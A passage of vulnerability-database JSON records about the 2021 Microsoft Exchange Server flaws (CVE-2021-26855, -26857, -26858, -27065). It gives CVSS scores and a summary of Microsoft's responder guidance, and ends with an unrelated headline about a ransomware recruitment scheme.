"https://www.hivepro.com/have-you-patched-the-vulnerabilities-in-microsoft-exchange-server/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "msrc": [{"lastseen": "2021-03-16T18:53:05", "description": "This guidance will help customers address threats taking advantage of the recently disclosed Microsoft Exchange Server on-premises vulnerabilities CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, and CVE-2021-27065. Microsoft will continue to monitor these threats and provide updated tools and investigation guidance to help organizations defend against, identify, and remediate associated attacks.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-16T18:44:28", "type": "msrc", "title": "Guidance for responders: Investigating and remediating on-premises Exchange Server vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-16T18:44:28", "id": "MSRC:ED939F90BDE8D7A32031A750388B03C9", "href": "https://msrc-blog.microsoft.com/2021/03/16/guidance-for-responders-investigating-and-remediating-on-premises-exchange-server-vulnerabilities/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-14T17:06:18", "description": "This guidance will help customers address threats taking advantage of the recently disclosed Microsoft Exchange Server
Nigerian Threat Actors Solicit Employees to Deploy Ransomware for Cut of Profits
